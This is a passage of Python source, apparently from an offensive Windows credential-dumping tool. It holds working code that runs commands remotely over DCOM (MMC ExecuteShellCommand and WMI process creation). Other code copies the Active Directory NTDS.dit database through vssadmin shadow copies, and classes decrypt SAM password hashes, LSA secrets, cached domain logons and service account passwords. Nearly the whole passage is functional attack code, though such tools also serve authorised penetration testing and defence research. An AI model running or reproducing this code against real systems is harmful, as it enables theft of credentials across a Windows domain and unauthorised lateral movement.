objRefType == FLAGS_OBJREF_CUSTOM: 788 objRef = OBJREF_CUSTOM(''.join(resp)) 789 elif objRefType == FLAGS_OBJREF_HANDLER: 790 objRef = OBJREF_HANDLER(''.join(resp)) 791 elif objRefType == FLAGS_OBJREF_STANDARD: 792 objRef = OBJREF_STANDARD(''.join(resp)) 793 elif objRefType == FLAGS_OBJREF_EXTENDED: 794 objRef = OBJREF_EXTENDED(''.join(resp)) 795 else: 796 logging.error("Unknown OBJREF Type! 0x%x" % objRefType) 797 798 return IRemUnknown2( 799 INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'], 800 oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'], 801 target=interface.get_target())) 802 803 def __mmcExec(self,command): 804 command = command.replace('%COMSPEC%', 'c:\\windows\\system32\\cmd.exe') 805 username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials() 806 dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey, 807 oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) 808 iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) 809 iMMC = IDispatch(iInterface) 810 811 resp = iMMC.GetIDsOfNames(('Document',)) 812 813 dispParams = DISPPARAMS(None, False) 814 dispParams['rgvarg'] = NULL 815 dispParams['rgdispidNamedArgs'] = NULL 816 dispParams['cArgs'] = 0 817 dispParams['cNamedArgs'] = 0 818 resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) 819 820 iDocument = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) 821 resp = iDocument.GetIDsOfNames(('ActiveView',)) 822 resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) 823 824 iActiveView = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) 825 pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0] 826 827 pQuit = iMMC.GetIDsOfNames(('Quit',))[0] 828 829 dispParams = DISPPARAMS(None, False) 830 dispParams['rgdispidNamedArgs'] = NULL 831 dispParams['cArgs'] = 4 832 dispParams['cNamedArgs'] = 0 833 arg0 = VARIANT(None, False) 834 arg0['clSize'] = 5 835 arg0['vt'] = VARENUM.VT_BSTR 836 arg0['_varUnion']['tag'] = VARENUM.VT_BSTR 837 arg0['_varUnion']['bstrVal']['asData'] = 'c:\\windows\\system32\\cmd.exe' 838 839 arg1 = VARIANT(None, False) 840 arg1['clSize'] = 5 841 arg1['vt'] = VARENUM.VT_BSTR 842 arg1['_varUnion']['tag'] = VARENUM.VT_BSTR 843 arg1['_varUnion']['bstrVal']['asData'] = 'c:\\' 844 845 arg2 = VARIANT(None, False) 846 arg2['clSize'] = 5 847 arg2['vt'] = VARENUM.VT_BSTR 848 arg2['_varUnion']['tag'] = VARENUM.VT_BSTR 849 arg2['_varUnion']['bstrVal']['asData'] = command[len('c:\\windows\\system32\\cmd.exe'):] 850 851 arg3 = VARIANT(None, False) 852 arg3['clSize'] = 5 853 arg3['vt'] = VARENUM.VT_BSTR 854 arg3['_varUnion']['tag'] = VARENUM.VT_BSTR 855 arg3['_varUnion']['bstrVal']['asData'] = '7' 856 dispParams['rgvarg'].append(arg3) 857 dispParams['rgvarg'].append(arg2) 858 dispParams['rgvarg'].append(arg1) 859 dispParams['rgvarg'].append(arg0) 860 861 iActiveView.Invoke(pExecuteShellCommand, 0x409, DISPATCH_METHOD, dispParams, 0, [], []) 862 863 dispParams = DISPPARAMS(None, False) 864 dispParams['rgvarg'] = NULL 865 dispParams['rgdispidNamedArgs'] = NULL 866 dispParams['cArgs'] = 0 867 dispParams['cNamedArgs'] = 0 868 869 iMMC.Invoke(pQuit, 0x409, DISPATCH_METHOD, dispParams, 0, [], []) 870 871 872 def __wmiExec(self, command): 873 # Convert command to wmi exec friendly format 874 command = command.replace('%COMSPEC%', 'cmd.exe') 875 username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials() 876 dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey, 877 oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) 878 iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) 879 iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) 880 iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) 881 iWbemLevel1Login.RemRelease() 882 883 win32Process,_ = iWbemServices.GetObject('Win32_Process') 884 win32Process.Create(command, '\\', None) 885 886 dcom.disconnect() 887 888 def __executeRemote(self, data): 889 self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le') 890 command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \ 891 self.__shell + self.__batchFile 892 command += ' & ' + 'del ' + self.__batchFile 893 894 LOG.debug('ExecuteRemote command: %s' % command) 895 if self.__execMethod == 'smbexec': 896 self.__smbExec(command) 897 elif self.__execMethod == 'wmiexec': 898 self.__wmiExec(command) 899 elif self.__execMethod == 'mmcexec': 900 self.__mmcExec(command) 901 else: 902 raise Exception('Invalid exec method %s, aborting' % self.__execMethod) 903 904 905 def __answer(self, data): 906 self.__answerTMP += data 907 908 def __getLastVSS(self): 909 self.__executeRemote('%COMSPEC% /C vssadmin list shadows') 910 time.sleep(5) 911 tries = 0 912 while True: 913 try: 914 self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) 915 break 916 except Exception, e: 917 if tries > 30: 918 # We give up 919 raise Exception('Too many tries trying to list vss shadows') 920 if str(e).find('SHARING') > 0: 921 # Stuff didn't finish yet.. wait more 922 time.sleep(5) 923 tries +=1 924 pass 925 else: 926 raise 927 928 lines = self.__answerTMP.split('\n') 929 lastShadow = '' 930 lastShadowFor = '' 931 932 # Let's find the last one 933 # The string used to search the shadow for drive. Wondering what happens 934 # in other languages 935 SHADOWFOR = 'Volume: (' 936 937 for line in lines: 938 if line.find('GLOBALROOT') > 0: 939 lastShadow = line[line.find('\\\\?'):][:-1] 940 elif line.find(SHADOWFOR) > 0: 941 lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2] 942 943 self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output') 944 945 return lastShadow, lastShadowFor 946 947 def saveNTDS(self): 948 LOG.info('Searching for NTDS.dit') 949 # First of all, let's try to read the target NTDS.dit registry entry 950 ans = rrp.hOpenLocalMachine(self.__rrp) 951 regHandle = ans['phKey'] 952 try: 953 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters') 954 keyHandle = ans['phkResult'] 955 except: 956 # Can't open the registry path, assuming no NTDS on the other end 957 return None 958 959 try: 960 dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file') 961 ntdsLocation = dataValue[:-1] 962 ntdsDrive = ntdsLocation[:2] 963 except: 964 # Can't open the registry path, assuming no NTDS on the other end 965 return None 966 967 rrp.hBaseRegCloseKey(self.__rrp, keyHandle) 968 rrp.hBaseRegCloseKey(self.__rrp, regHandle) 969 970 LOG.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation) 971 LOG.info('Using %s method for remote execution' % self.__execMethod) 972 # Get the list of remote shadows 973 shadow, shadowFor = self.__getLastVSS() 974 if shadow == '' or (shadow != '' and shadowFor != ntdsDrive): 975 # No shadow, create one 976 self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive) 977 shadow, shadowFor = self.__getLastVSS() 978 shouldRemove = True 979 if shadow == '': 980 raise Exception('Could not get a VSS') 981 else: 982 shouldRemove = False 983 984 # Now copy the ntds.dit to the temp directory 985 tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp' 986 987 self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName)) 988 989 if shouldRemove is True: 990 self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive) 991 992 tries = 0 993 while True: 994 try: 995 self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output') 996 break 997 except Exception, e: 998 if tries >= 30: 999 raise e 1000 if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0 or str(e).find('STATUS_SHARING_VIOLATION') >=0: 1001 tries += 1 1002 time.sleep(5) 1003 pass 1004 else: 1005 logging.error('Cannot delete target file \\\\%s\\ADMIN$\\Temp\\__output: %s' % (self.__smbConnection.getRemoteHost(), str(e))) 1006 pass 1007 1008 remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName) 1009 1010 return remoteFileName 1011 1012class CryptoCommon: 1013 # Common crypto stuff used over different classes 1014 def transformKey(self, InputKey): 1015 # Section 2.2.11.1.2 Encrypting a 64-Bit Block with a 7-Byte Key 1016 OutputKey = [] 1017 OutputKey.append( chr(ord(InputKey[0]) >> 0x01) ) 1018 OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) ) 1019 OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) ) 1020 OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) ) 1021 OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) ) 1022 OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) ) 1023 OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) ) 1024 OutputKey.append( chr(ord(InputKey[6]) & 0x7F) ) 1025 1026 for i in range(8): 1027 OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe) 1028 1029 return "".join(OutputKey) 1030 1031 def deriveKey(self, baseKey): 1032 # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key 1033 # Let I be the little-endian, unsigned integer. 1034 # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes. 1035 # Note that because I is in little-endian byte order, I[0] is the least significant byte. 1036 # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2]. 1037 # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1] 1038 key = pack('<L',baseKey) 1039 key1 = key[0] + key[1] + key[2] + key[3] + key[0] + key[1] + key[2] 1040 key2 = key[3] + key[0] + key[1] + key[2] + key[3] + key[0] + key[1] 1041 return self.transformKey(key1),self.transformKey(key2) 1042 1043 @staticmethod 1044 def decryptAES(key, value, iv='\x00'*16): 1045 plainText = '' 1046 if iv != '\x00'*16: 1047 aes256 = AES.new(key,AES.MODE_CBC, iv) 1048 1049 for index in range(0, len(value), 16): 1050 if iv == '\x00'*16: 1051 aes256 = AES.new(key,AES.MODE_CBC, iv) 1052 cipherBuffer = value[index:index+16] 1053 # Pad buffer to 16 bytes 1054 if len(cipherBuffer) < 16: 1055 cipherBuffer += '\x00' * (16-len(cipherBuffer)) 1056 plainText += aes256.decrypt(cipherBuffer) 1057 1058 return plainText 1059 1060class OfflineRegistry: 1061 def __init__(self, hiveFile = None, isRemote = False): 1062 self.__hiveFile = hiveFile 1063 if self.__hiveFile is not None: 1064 self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote) 1065 1066 def enumKey(self, searchKey): 1067 parentKey = self.__registryHive.findKey(searchKey) 1068 1069 if parentKey is None: 1070 return 1071 1072 keys = self.__registryHive.enumKey(parentKey) 1073 1074 return keys 1075 1076 def enumValues(self, searchKey): 1077 key = self.__registryHive.findKey(searchKey) 1078 1079 if key is None: 1080 return 1081 1082 values = self.__registryHive.enumValues(key) 1083 1084 return values 1085 1086 def getValue(self, keyValue): 1087 value = self.__registryHive.getValue(keyValue) 1088 1089 if value is None: 1090 return 1091 1092 return value 1093 1094 def getClass(self, className): 1095 value = self.__registryHive.getClass(className) 1096 1097 if value is None: 1098 return 1099 1100 return value 1101 1102 def finish(self): 1103 if self.__hiveFile is not None: 1104 # Remove temp file and whatever else is needed 1105 self.__registryHive.close() 1106 1107class SAMHashes(OfflineRegistry): 1108 def __init__(self, samFile, bootKey, isRemote = False, perSecretCallback = lambda secret: _print_helper(secret)): 1109 OfflineRegistry.__init__(self, samFile, isRemote) 1110 self.__samFile = samFile 1111 self.__hashedBootKey = '' 1112 self.__bootKey = bootKey 1113 self.__cryptoCommon = CryptoCommon() 1114 self.__itemsFound = {} 1115 self.__perSecretCallback = perSecretCallback 1116 1117 def MD5(self, data): 1118 md5 = hashlib.new('md5') 1119 md5.update(data) 1120 return md5.digest() 1121 1122 def getHBootKey(self): 1123 LOG.debug('Calculating HashedBootKey from SAM') 1124 QWERTY = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" 1125 DIGITS = "0123456789012345678901234567890123456789\0" 1126 1127 F = self.getValue(ntpath.join('SAM\Domains\Account','F'))[1] 1128 1129 domainData = DOMAIN_ACCOUNT_F(F) 1130 1131 if domainData['Key0'][0] == '\x01': 1132 samKeyData = SAM_KEY_DATA(domainData['Key0']) 1133 1134 rc4Key = self.MD5(samKeyData['Salt'] + QWERTY + self.__bootKey + DIGITS) 1135 rc4 = ARC4.new(rc4Key) 1136 self.__hashedBootKey = rc4.encrypt(samKeyData['Key']+samKeyData['CheckSum']) 1137 1138 # Verify key with checksum 1139 checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY) 1140 1141 if checkSum != self.__hashedBootKey[16:]: 1142 raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(') 1143 1144 elif domainData['Key0'][0] == '\x02': 1145 # This is Windows 2016 TP5 on in theory (it is reported that some W10 and 2012R2 might behave this way also) 1146 samKeyData = SAM_KEY_DATA_AES(domainData['Key0']) 1147 1148 self.__hashedBootKey = self.__cryptoCommon.decryptAES(self.__bootKey, 1149 samKeyData['Data'][:samKeyData['DataLen']], samKeyData['Salt']) 1150 1151 def __decryptHash(self, rid, cryptedHash, constant, newStyle = False): 1152 # Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key 1153 # plus hashedBootKey stuff 1154 Key1,Key2 = self.__cryptoCommon.deriveKey(rid) 1155 1156 Crypt1 = DES.new(Key1, DES.MODE_ECB) 1157 Crypt2 = DES.new(Key2, DES.MODE_ECB) 1158 1159 if newStyle is False: 1160 rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant ) 1161 rc4 = ARC4.new(rc4Key) 1162 key = rc4.encrypt(cryptedHash['Hash']) 1163 else: 1164 key = self.__cryptoCommon.decryptAES(self.__hashedBootKey[:0x10], cryptedHash['Hash'], cryptedHash['Salt'])[:16] 1165 1166 decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:]) 1167 1168 return decryptedHash 1169 1170 def dump(self): 1171 NTPASSWORD = "NTPASSWORD\0" 1172 LMPASSWORD = "LMPASSWORD\0" 1173 1174 if self.__samFile is None: 1175 # No SAM file provided 1176 return 1177 1178 LOG.info('Dumping local SAM hashes (uid:rid:lmhash:nthash)') 1179 self.getHBootKey() 1180 1181 usersKey = 'SAM\\Domains\\Account\\Users' 1182 1183 # Enumerate all the RIDs 1184 rids = self.enumKey(usersKey) 1185 # Remove the Names item 1186 try: 1187 rids.remove('Names') 1188 except: 1189 pass 1190 1191 for rid in rids: 1192 userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1]) 1193 rid = int(rid,16) 1194 1195 V = userAccount['Data'] 1196 1197 userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le') 1198 1199 if V[userAccount['NTHashOffset']:][2] == '\x01': 1200 # Old Style hashes 1201 newStyle = False 1202 if userAccount['LMHashLength'] == 20: 1203 encLMHash = SAM_HASH(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']]) 1204 if userAccount['NTHashLength'] == 20: 1205 encNTHash = SAM_HASH(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']]) 1206 else: 1207 # New Style hashes 1208 newStyle = True 1209 if userAccount['LMHashLength'] == 24: 1210 encLMHash = SAM_HASH_AES(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']]) 1211 encNTHash = SAM_HASH_AES(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']]) 1212 1213 LOG.debug('NewStyle hashes is: %s' % newStyle) 1214 if userAccount['LMHashLength'] >= 20: 1215 lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD, newStyle) 1216 else: 1217 lmHash = '' 1218 1219 ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD, newStyle) 1220 1221 if lmHash == '': 1222 lmHash = ntlm.LMOWFv1('','') 1223 if ntHash == '': 1224 ntHash = ntlm.NTOWFv1('','') 1225 1226 answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash), hexlify(ntHash)) 1227 self.__itemsFound[rid] = answer 1228 self.__perSecretCallback(answer) 1229 1230 def export(self, fileName): 1231 if len(self.__itemsFound) > 0: 1232 items = sorted(self.__itemsFound) 1233 fd = codecs.open(fileName+'.sam','w+', encoding='utf-8') 1234 for item in items: 1235 fd.write(self.__itemsFound[item]+'\n') 1236 fd.close() 1237 1238class LSASecrets(OfflineRegistry): 1239 UNKNOWN_USER = '(Unknown User)' 1240 class SECRET_TYPE: 1241 LSA = 0 1242 LSA_HASHED = 1 1243 LSA_RAW = 2 1244 1245 def __init__(self, securityFile, bootKey, remoteOps=None, isRemote=False, history=False, 1246 perSecretCallback=lambda secretType, secret: _print_helper(secret)): 1247 OfflineRegistry.__init__(self, securityFile, isRemote) 1248 self.__hashedBootKey = '' 1249 self.__bootKey = bootKey 1250 self.__LSAKey = '' 1251 self.__NKLMKey = '' 1252 self.__vistaStyle = True 1253 self.__cryptoCommon = CryptoCommon() 1254 self.__securityFile = securityFile 1255 self.__remoteOps = remoteOps 1256 self.__cachedItems = [] 1257 self.__secretItems = [] 1258 self.__perSecretCallback = perSecretCallback 1259 self.__history = history 1260 1261 def MD5(self, data): 1262 md5 = hashlib.new('md5') 1263 md5.update(data) 1264 return md5.digest() 1265 1266 def __sha256(self, key, value, rounds=1000): 1267 sha = hashlib.sha256() 1268 sha.update(key) 1269 for i in range(1000): 1270 sha.update(value) 1271 return sha.digest() 1272 1273 def __decryptSecret(self, key, value): 1274 # [MS-LSAD] Section 5.1.2 1275 plainText = '' 1276 1277 encryptedSecretSize = unpack('<I', value[:4])[0] 1278 value = value[len(value)-encryptedSecretSize:] 1279 1280 key0 = key 1281 for i in range(0, len(value), 8): 1282 cipherText = value[:8] 1283 tmpStrKey = key0[:7] 1284 tmpKey = self.__cryptoCommon.transformKey(tmpStrKey) 1285 Crypt1 = DES.new(tmpKey, DES.MODE_ECB) 1286 plainText += Crypt1.decrypt(cipherText) 1287 key0 = key0[7:] 1288 value = value[8:] 1289 # AdvanceKey 1290 if len(key0) < 7: 1291 key0 = key[len(key0):] 1292 1293 secret = LSA_SECRET_XP(plainText) 1294 return secret['Secret'] 1295 1296 def __decryptHash(self, key, value, iv): 1297 hmac_md5 = HMAC.new(key,iv) 1298 rc4key = hmac_md5.digest() 1299 1300 rc4 = ARC4.new(rc4key) 1301 data = rc4.encrypt(value) 1302 return data 1303 1304 def __decryptLSA(self, value): 1305 if self.__vistaStyle is True: 1306 # ToDo: There could be more than one LSA Keys 1307 record = LSA_SECRET(value) 1308 tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32]) 1309 plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:]) 1310 record = LSA_SECRET_BLOB(plainText) 1311 self.__LSAKey = record['Secret'][52:][:32] 1312 1313 else: 1314 md5 = hashlib.new('md5') 1315 md5.update(self.__bootKey) 1316 for i in range(1000): 1317 md5.update(value[60:76]) 1318 tmpKey = md5.digest() 1319 rc4 = ARC4.new(tmpKey) 1320 plainText = rc4.decrypt(value[12:60]) 1321 self.__LSAKey = plainText[0x10:0x20] 1322 1323 def __getLSASecretKey(self): 1324 LOG.debug('Decrypting LSA Key') 1325 # Let's try the key post XP 1326 value = self.getValue('\\Policy\\PolEKList\\default') 1327 if value is None: 1328 LOG.debug('PolEKList not found, trying PolSecretEncryptionKey') 1329 # Second chance 1330 value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default') 1331 self.__vistaStyle = False 1332 if value is None: 1333 # No way :( 1334 return None 1335 1336 self.__decryptLSA(value[1]) 1337 1338 def __getNLKMSecret(self): 1339 LOG.debug('Decrypting NL$KM') 1340 value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default') 1341 if value is None: 1342 raise Exception("Couldn't get NL$KM value") 1343 if self.__vistaStyle is True: 1344 record = LSA_SECRET(value[1]) 1345 tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32]) 1346 self.__NKLMKey = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:]) 1347 else: 1348 self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1]) 1349 1350 def __pad(self, data): 1351 if (data & 0x3) > 0: 1352 return data + (data & 0x3) 1353 else: 1354 return data 1355 1356 def dumpCachedHashes(self): 1357 if self.__securityFile is None: 1358 # No SECURITY file provided 1359 return 1360 1361 LOG.info('Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)') 1362 1363 # Let's first see if there are cached entries 1364 values = self.enumValues('\\Cache') 1365 if values is None: 1366 # No cache entries 1367 return 1368 try: 1369 # Remove unnecessary value 1370 values.remove('NL$Control') 1371 except: 1372 pass 1373 1374 self.__getLSASecretKey() 1375 self.__getNLKMSecret() 1376 1377 for value in values: 1378 LOG.debug('Looking into %s' % value) 1379 record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value))[1]) 1380 if record['IV'] != 16 * '\x00': 1381 #if record['UserLength'] > 0: 1382 if record['Flags'] & 1 == 1: 1383 # Encrypted 1384 if self.__vistaStyle is True: 1385 plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['IV']) 1386 else: 1387 plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['IV']) 1388 pass 1389 else: 1390 # Plain! Until we figure out what this is, we skip it 1391 #plainText = record['EncryptedData'] 1392 continue 1393 encHash = plainText[:0x10] 1394 plainText = plainText[0x48:] 1395 userName = plainText[:record['UserLength']].decode('utf-16le') 1396 plainText = plainText[self.__pad(record['UserLength']):] 1397 domain = plainText[:record['DomainNameLength']].decode('utf-16le') 1398 plainText = plainText[self.__pad(record['DomainNameLength']):] 1399 domainLong = plainText[:self.__pad(record['DnsDomainNameLength'])].decode('utf-16le') 1400 answer = "%s:%s:%s:%s:::" % (userName, hexlify(encHash), domainLong, domain) 1401 self.__cachedItems.append(answer) 1402 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_HASHED, answer) 1403 1404 def __printSecret(self, name, secretItem): 1405 # Based on [MS-LSAD] section 3.1.1.4 1406 1407 # First off, let's discard NULL secrets. 1408 if len(secretItem) == 0: 1409 LOG.debug('Discarding secret %s, NULL Data' % name) 1410 return 1411 1412 # We might have secrets with zero 1413 if secretItem.startswith('\x00\x00'): 1414 LOG.debug('Discarding secret %s, all zeros' % name) 1415 return 1416 1417 upperName = name.upper() 1418 1419 LOG.info('%s ' % name) 1420 1421 secret = '' 1422 1423 if upperName.startswith('_SC_'): 1424 # Service name, a password might be there 1425 # Let's first try to decode the secret 1426 try: 1427 strDecoded = secretItem.decode('utf-16le') 1428 except: 1429 pass 1430 else: 1431 # We have to get the account the service 1432 # runs under 1433 if hasattr(self.__remoteOps, 'getServiceAccount'): 1434 account = self.__remoteOps.getServiceAccount(name[4:]) 1435 if account is None: 1436 secret = self.UNKNOWN_USER + ':' 1437 else: 1438 secret = "%s:" % account 1439 else: 1440 # We don't support getting this info for local targets at the moment 1441 secret = self.UNKNOWN_USER + ':' 1442 secret += strDecoded 1443 elif upperName.startswith('DEFAULTPASSWORD'): 1444 # defaults password for winlogon 1445 # Let's first try to decode the secret 1446 try: 1447 strDecoded = secretItem.decode('utf-16le') 1448 except: 1449 pass 1450 else: 1451 # We have to get the account this password is for 1452 if hasattr(self.__remoteOps, 'getDefaultLoginAccount'): 1453 account = self.__remoteOps.getDefaultLoginAccount() 1454 if account is None: 1455 secret = self.UNKNOWN_USER + ':' 1456 else: 1457 secret = "%s:" % account 1458 else: 1459 # We don't support getting this info for local targets at the moment 1460 secret = self.UNKNOWN_USER + ':' 1461 secret += strDecoded 1462 elif upperName.startswith('ASPNET_WP_PASSWORD'): 1463 try: 1464 strDecoded = secretItem.decode('utf-16le') 1465 except: 1466 pass 1467 else: 1468 secret = 'ASPNET: %s' % strDecoded 1469 elif upperName.startswith('$MACHINE.ACC'): 1470 # compute MD4 of the secret.. yes.. that is the nthash? :-o 1471 md4 = MD4.new() 1472 md4.update(secretItem) 1473 if hasattr(self.__remoteOps, 'getMachineNameAndDomain'): 1474 machine, domain = self.__remoteOps.getMachineNameAndDomain() 1475 secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest())) 1476 else: 1477 secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest())) 1478 1479 if secret != '': 1480 printableSecret = secret 1481 self.__secretItems.append(secret) 1482 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, printableSecret) 1483 else: 1484 # Default print, hexdump 1485 printableSecret = '%s:%s' % (name, hexlify(secretItem)) 1486 self.__secretItems.append(printableSecret) 1487 # If we're using the default callback (ourselves), we print the hex representation. If not, the 1488 # user will need to decide what to do. 1489 if self.__module__ == self.__perSecretCallback.__module__: 1490 hexdump(secretItem) 1491 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_RAW, printableSecret) 1492 1493 def dumpSecrets(self): 1494 if self.__securityFile is None: 1495 # No SECURITY file provided 1496 return 1497 1498 LOG.info('Dumping LSA Secrets') 1499 1500 # Let's first see if there are cached entries 1501 keys = self.enumKey('\\Policy\\Secrets') 1502 if keys is None: 1503 # No entries 1504 return 1505 try: 1506 # Remove unnecessary value 1507 keys.remove('NL$Control') 1508 except: 1509 pass 1510 1511 if self.__LSAKey == '': 1512 self.__getLSASecretKey() 1513 1514 for key in keys: 1515 LOG.debug('Looking into %s' % key) 1516 valueTypeList = ['CurrVal'] 1517 # Check if old LSA secrets values are also need to be shown 1518 if self.__history: 1519 valueTypeList.append('OldVal') 1520 1521 for valueType in valueTypeList: 1522 value = self.getValue('\\Policy\\Secrets\\{}\\{}\\default'.format(key,valueType)) 1523 if value is not None and value[1] != 0: 1524 if self.__vistaStyle is True: 1525 record = LSA_SECRET(value[1]) 1526 tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32]) 1527 plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:]) 1528 record = LSA_SECRET_BLOB(plainText) 1529 secret = record['Secret'] 1530 else: 1531 secret = self.__decryptSecret(self.__LSAKey, value[1]) 1532 1533 # If this is an OldVal secret, let's append '_history' to be able to distinguish it and 1534 # also be consistent with NTDS history 1535 if valueType == 'OldVal': 1536 key += '_history' 1537 self.__printSecret(key, secret) 1538 1539 def exportSecrets(self, fileName): 1540 if len(self.__secretItems) > 0: 1541 fd = codecs.open(fileName+'.secrets','w+', encoding='utf-8') 1542 for item in self.__secretItems: 1543 fd.write(item+'\n') 1544 fd.close() 1545 1546 def exportCached(self, fileName): 1547 if len(self.__cachedItems) > 0: 1548 fd = codecs.open(fileName+'.cached','w+', encoding='utf-8') 1549 for item in self.__cachedItems: 1550 fd.write(item+'\n') 1551 fd.close() 1552 1553 1554class ResumeSessionMgrInFile(object): 1555 def __init__(self, resumeFileName=None): 1556 self.__resumeFileName = resumeFileName 1557 self.__resumeFile = None 1558 self.__hasResumeData = resumeFileName is not None 1559 1560 def hasResumeData(self): 1561 return self.__hasResumeData 1562 1563 def clearResumeData(self): 1564 self.endTransaction() 1565 if self.__resumeFileName and os.path.isfile(self.__resumeFileName): 1566 os.remove(self.__resumeFileName) 1567 1568 def writeResumeData(self, data): 1569 # self.beginTransaction() must be called first, but we are aware of performance here, so we avoid checking that 1570 self.__resumeFile.seek(0, 0) 1571 self.__resumeFile.truncate(0) 1572 self.__resumeFile.write(data) 1573 self.__resumeFile.flush() 1574 1575 def getResumeData(self): 1576 try: 1577 self.__resumeFile = open(self.__resumeFileName,'rb') 1578 except Exception, e: 1579 raise Exception('Cannot open resume session file name %s' % str(e)) 1580 resumeSid = self.__resumeFile.read() 1581 self.__resumeFile.close() 1582 # Truncate and reopen the file as wb+ 1583 self.__resumeFile = open(self.__resumeFileName,'wb+') 1584 return resumeSid 1585 1586 def getFileName(self): 1587 return self.__resumeFileName 1588 1589 def beginTransaction(self): 1590 if not self.__resumeFileName: 1591 self.__resumeFileName = 'sessionresume_%s' % ''.join(random.choice(string.letters) for _ in range(8)) 1592 LOG.debug('Session resume file will be %s' % self.__resumeFileName) 1593 if not self.__resumeFile: 1594 try: 1595 self.__resumeFile = open(self.__resumeFileName, 